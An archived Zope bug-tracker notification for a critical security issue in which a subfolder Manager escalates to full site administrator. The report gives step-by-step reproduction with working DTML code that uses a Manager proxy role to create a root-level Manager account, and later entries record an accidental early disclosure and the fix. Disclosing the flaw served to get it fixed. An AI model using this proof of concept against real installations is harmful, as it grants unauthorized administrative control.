[ZCM] [ZC] 977/ 4 Resolve "Manager in lower folder can create manager in higher folder "

Collector: Zope Bugs, Features, and Patches ... zope-coders-admin at zope.org
Tue Jan 20 09:21:07 EST 2004


Issue #977 Update (Resolve) "Manager in lower folder can create manager in higher folder "
 ** Security Related ** (Public)
 Status Resolved, Zope/bug critical
To followup, visit:
  http://zope.org/Collectors/Zope/977

==============================================================
= Resolve - Entry #4 by Brian on Jan 20, 2004 9:21 am

 Status: Pending => Resolved

resolved in 2.6.4 / 2.7.0 rc1

-BL
________________________________________
= Resubmit - Entry #3 by mj on Dec 3, 2003 4:40 pm

 Status: Rejected => Pending

Damn, this should still be kept confidential. And an email just went out. Resubmitting to make it confidential again.
________________________________________
= Reject - Entry #2 by mj on Dec 3, 2003 4:26 pm

 Status: Pending => Rejected

This is a dupe of 743, although this bug has a better example of the risks. Closing this one for bug management simplicity.
________________________________________
= Request - Entry #1 by Anonymous User on Jul 17, 2003 8:30 am

Compare Bug 254, but now use dtml:

Basically, a user defined in 

  /subfolder/acl_users/trusted_user

with manager role, can use a dtml method with proxy roles to create a new user with manager role in the root acl_users folder.

Here's how to do it.

Stage 1: set up the environment.

1: take a fresh Zope 2.6.1

2: log in as the default admin user

3: create a folder in the root folder, called "subfolder". Check the box to create a user-folder in subfolder.

4: Create a user "trusted_user" in /subfolder/acl_users, with the role of Manager.

5: Log out as admin

Stage 2: trusted_user creates a manager in the root acl_users

1: log into /subfolder/manage as trusted_user

2: create a dtml method

3: edit it as following:

 <dtml-var standard_html_header>
  <h2><dtml-var document_title></h2>

  <dtml-let user="REQUEST['AUTHENTICATED_USER']">

  <dtml-call "REQUEST.set( 'name', 'abc')">
  <dtml-call "REQUEST.set( 'password', 'abc')">
  <dtml-call "REQUEST.set( 'confirm', 'abc')">
  <dtml-call "REQUEST.set( 'roles', user.getRoles() )">
  <dtml-call "REQUEST.set( 'domains', user.getDomains() )">
 
  <dtml-with "PARENTS[-1]">
  <dtml-call "acl_users.manage_users( 'Add', REQUEST )">
  </dtml-with>

 
 <p> hacked </p>

  </dtml-let>
  <dtml-var standard_html_footer>


4: Go to the proxy tab, and give it the Manager proxy role.

5: view the page. It will render Title and "hacked"

6: log out as trusted_user

Stage 3: abusing the new power

1: go to the url /manage. Log in as abc:abc

2: do bad stuff


==============================================================




More information about the Zope-Collector-Monitor mailing list